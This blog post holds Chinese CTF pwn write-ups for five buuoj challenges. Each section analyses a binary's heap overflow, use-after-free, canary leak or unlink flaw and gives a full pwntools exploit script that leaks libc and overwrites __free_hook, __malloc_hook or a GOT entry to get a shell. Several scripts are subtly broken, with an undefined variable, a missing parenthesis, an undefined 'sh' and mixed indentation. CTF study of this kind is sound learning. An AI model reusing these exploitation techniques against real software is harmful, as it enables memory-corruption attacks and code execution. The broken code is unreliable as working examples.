buuoj Pwn writeup 206-210

博客内容涉及多个CTF挑战的解决方案,主要围绕堆溢出、未初始化指针(UAF)和内存管理漏洞进行。通过操纵chunk、控制fd指针、利用backdoor函数修改内存布局,最终实现对__malloc_hook和__free_hook等关键地址的控制,从而获取shell。同时,文章提到了realloc的利用,通过多次realloc操作触发漏洞,泄露libc地址并执行系统命令。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

206 ciscn_2019_c_3

在这里插入图片描述

在这里插入图片描述一堆乱七八糟。

create
在这里插入图片描述申请空间只有三种,申请到的空间第一个字节为0,应该是个flag,第二个是一个随机数,然后开始输入name,也就是内容。

跟进read_context函数,看看有没有问题。
在这里插入图片描述很显然会有问题,因为传下来的指针是v2 + 0x10,就可以多写0x10个字节,会造成堆溢出。

show
在这里插入图片描述就是正常的输出。

delete
显然没有情空指针,有指针悬垂。

backdoor
在这里插入图片描述就是把那个数值加起来而已。

我们考虑利用uaf。
因为是2.27,首先考虑攻击free_hook。
但是问题来了,利用uaf攻击首先需要我们去控制fd,但是问题还就是我们控制不了fd,因为read_context是从+0x10开始的。

于是我们把目光转向backdoor函数。
这个函数可以让我们的fd增加,那么问题就是我们怎么来控制它使得能够指向free_hook。

我们只能简介的去控制fd为free_hook。先将一个chunk的fd增加一些,使得新的chunk的fd是我们提前写好的free_hook地址。

exp

# -*- coding: utf-8 -*-
from pwn import *
 
r = remote('node4.buuoj.cn',26275)
libc = ELF('./64/libc-2.27.so')
 
def add(size,content):
   r.sendlineafter('Command:','1')
   r.sendlineafter('size:',str(size))
   r.sendlineafter('Give me the name:',content)
 
def show(index):
   r.sendlineafter('Command:','2')
   r.sendlineafter('index:',str(index))
 
def delete(index):
   r.sendlineafter('Command:','3')
   r.sendlineafter('weapon:',str(index))
 
def backdoor(index):
   r.sendlineafter('Command:','666')
   r.sendlineafter('weapon:',str(index))
 
add(0x100,'a')
add(0x60,'b')
 
for i in range(8):
   delete(0)
 
show(0)
r.recvuntil('attack_times: ')
malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook_addr - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0x4f322
print 'libc_base=',hex(libc_base)

add(0x60,'a'*0x10 + p64(free_hook - 0x10))
 
delete(2)
delete(2)

for i in range(0x20):
   backdoor(2)
add(0x60,'c') 
add(0x60,'c') 
add(0x60,p64(one_gadget))
delete(1)
 
r.interactive()

207 metasequoia_2020_summoner

在这里插入图片描述
在这里插入图片描述这个是题目大意。

show
在这里插入图片描述
summon 召唤
在这里插入图片描述v6的指针是不是空的,是空的就算了,不是空的就申请一个0x10的空间,地址放在v6.

看到有个strdup
strdup()在内部调用了malloc()为变量分配内存,不需要使用返回的字符串时,需要用free()释放相应的内存空间,否则会造成内存泄漏。
所以这个地方会申请一块空间。

level-up
在这里插入图片描述
strike
在这里插入图片描述
等级等于五就能cat flag

release
在这里插入图片描述
释放掉。指针也清掉了。
但是注意释放的只是里面的名字的那个chunk

其实这种题我们之前见过一次,想让某个地方值是5,因为申请释放的时候根本没有去清空chunk内容,所以我们利用残留数据,来达到目的。

在这道题里面,我们想到可以召唤一个生物,名字的那个chunk伪造一下,然后再次申请的时候让v6申请到那个0x10的chunk,利用残留数据,level的地方是5,就可以了。

exp

from pwn import *

r = remote('node4.buuoj.cn', 26599)

def cmd(s):
	sh.recvuntil('> ')
	sh.sendline(s)

def summon(name):
	r.sendlineafter('> ', 'summon ' + name)
	r.recvuntil('\n')

def release():
	r.sendlineafter('> ', 'release')
	r.recvuntil('Released.\n')

def strike():
	r.sendlineafter('> ', 'strike')

fake='a'*8+p64(5)

summon(fake
release()
summon('aaaa')
strike()

r.interactive()

208 linkctf_2018.7_babypie

在这里插入图片描述
开了canary
题目简单。
在这里插入图片描述
可以直接覆盖canary的第一字节,然后泄露canary。我们不能修改canary,因为他在tls结构体。

在这里插入图片描述
溢出了之后直接就有后门函数。

但是因为开了pie,所以我们只能够覆盖低一字节,剩下的半个只能partial write。

exp

from pwn import *

context.log_level = "debug"

def exploit():
    r.sendafter("Name:\n", 'a' * (0x30 - 0x8 + 1))
    r.recvuntil('a' * (0x30 - 0x8 + 1))
    canary = '\x00' + r.recv(7)
    r.sendafter(":\n", 'a' * (0x30 - 0x8) + canary + 'aaaaaaaa' + '\x3E\x0A')
    r.interactive()
    
while True:
    try:
        global r
        r = remote("node4.buuoj.cn", "26068",timeout=1)
        exploit()
    except:
        r.close()
        print 'retrying...'

209 wdb_2018_3rd_pesp

在这里插入图片描述要注意got表是可以修改的,也没有开pie

add
在这里插入图片描述32个字节是一组,一共可以100个仆人。

然后明显的off by null。

change
在这里插入图片描述就是改。直接有溢出。

show
在这里插入图片描述输出也有了。

free
在这里插入图片描述
所以整个题目下来说白了仅仅是一个堆溢出。有off by null,但是没啥用,我们堆溢出直接就解决问题了。

方法多多,我们用简单一点的通过unlink来攻击got表,泄露地址,get shell。

exp

# -*- coding: utf-8 -*-
from pwn import *

context.log_level = "debug"

r = remote("node4.buuoj.cn", "28209")
#r = process("./209")

elf = ELF("./209")
libc = ELF("./64/libc-2.23.so")

def add(leng, name):
	r.sendlineafter('Your choice:', "2")
	r.sendlineafter('Please enter the length of servant name:', str(leng))
	r.sendlineafter('Please enter the name of servant:', name)

def edit(index, leng, name):
	r.sendlineafter('Your choice:', "3")
	r.sendlineafter('Please enter the index of servant:', str(index))
	r.sendlineafter('Please enter the length of servant name:', str(leng))
	r.sendlineafter('Please enter the new name of the servnat:', name)

def show():
	r.sendlineafter('Your choice:', "1")

def free(index):
	r.sendlineafter('Your choice:', "4")
        r.sendlineafter('Please enter the index of servant:', str(index))
        
free_got = elf.got['free']

target = 0x6020c8+0x10
fd = target - 0x18
bk = target - 0x10
add(0x20, 'aaaa') #0
add(0x30, 'bbbb') #1
add(0x80, 'cccc') #2
add(0x30, 'dddd') #3

payload = p64(0) + p64(0x30) + p64(fd) + p64(bk)
payload += 'a'*0x10
payload += p64(0x30) + p64(0x90)
edit(1, 0x40, payload)
#gdb.attach(r)

free(2)

edit(1, 0x20, p64(0x20)+p64(free_got))
#chunk0   0x20   free_got
#gdb.attach(r)

show()

libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) - libc.sym['free']
system_addr = libc_base + libc.sym["system"]
print "libc_base = " + hex(libc_base)
print "system_addr = " + hex(system_addr)

edit(0, 0x7, p64(system_addr)) #因为有off by null
edit(3, 0x8, '/bin/sh\x00')
#gdb.attach(r)

free(3)

r.interactive()

210 TWCTF_online_2019_asterisk_alloc

在这里插入图片描述

在这里插入图片描述
菜单 三个malloc

malloc
在这里插入图片描述
calloc
在这里插入图片描述
realloc
在这里插入图片描述
free
在这里插入图片描述
三种malloc也对应着是三个不同的指针,三个不同的free。
free也都没有清空指针。

我们可以看到里面可以随便去控制一个realloc。
realloc自古以来就是漏洞的利用点,所以我们就要看看怎么去利用它。

之前做过一个realloc的经典题目
roarctf_2019_realloc_magic
这个题目我们的整体思路便是利用realloc,利用uaf来攻击IO_FILE泄露libc地址,然后攻击free_hook就可以了。
但是我们发现上一个题目还有个666的函数,它的目的就是讲realloc_ptr置空。因为如果不置空我们再次申请或者释放,它的size就会出问题。
所以我们这道题利用malloc去攻击IO_FILE就可以了。

exp

# -*- coding: utf-8 -*-
from pwn import *

elf = ELF("./210")
libc = ELF('./64/libc-2.27.so')

def malloc(size, content):
	r.sendlineafter("=====\n", '1')
	r.sendlineafter("Size: ", str(size))
	r.sendafter("Data: ", content)

def calloc(size, content):
	r.sendlineafter("=====\n",'2')
	r.sendlineafter("Size: ", str(size))
	r.sendafter("Data: ", content)

def realloc(size, content):
	r.sendlineafter("=====\n",'3')
	r.sendlineafter("Size: ", str(size))
	r.sendafter("Data: ", content)

def delete(type):
	r.sendlineafter("=====\n",'4')
	r.sendlineafter("Which: ", type)


def exploit():
	realloc(0x70,'a')
	realloc(0,'')
	realloc(0x100,'b')
	realloc(0,'')
	realloc(0xa0,'c')
	realloc(0,'')

	realloc(0x100,'b')
	[delete('r') for i in range(7)] 
	realloc(0,'') 
	realloc(0x70,'a')
	realloc(0x180,'c'*0x78+p64(0x41)+p8(0x60)+p8(0x87))

	realloc(0,'')
	#pause()
	realloc(0x100,'a')
	realloc(0,'')
	malloc(0x100,p64(0xfbad1887)+p64(0)*3+p8(0x58))
	libc_base = u64(r.recv(6).ljust(8,'\x00'))-libc.sym['_IO_file_jumps'] #choose by yourself _IO_2_1_stderr_+216 store _IO_file_jumps
	if libc_base >> 40 != 0x7F:
		exit(-1)
	success("libc_base:"+hex(libc_base))
	free_hook=libc_base+libc.sym['__free_hook']
	system = libc_base + libc.sym['system']
	one_gadget=libc_base + 0x4f322

	r.sendline('666') 
	
	realloc(0x120,'a')
	realloc(0,'')
	realloc(0x130,'a')
	realloc(0,'')
	realloc(0x170,'a')
	realloc(0,'')

	realloc(0x130,'a')
	[delete('r') for i in range(7)]
	realloc(0,'')

	realloc(0x120,'a')
	realloc(0x260,'a'*0x128+p64(0x41)+p64(free_hook-8))
	realloc(0,'')
	realloc(0x130,'a')
	realloc(0,'')
	realloc(0x130,'/bin/sh\x00'+p64(system))
	delete('r')

	r.interactive()

while True:
    try:
        global r
        r = remote("node4.buuoj.cn", "27342")
        exploit()
        r.interactive()
    except:
        r.close()
        print 'retrying...'
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值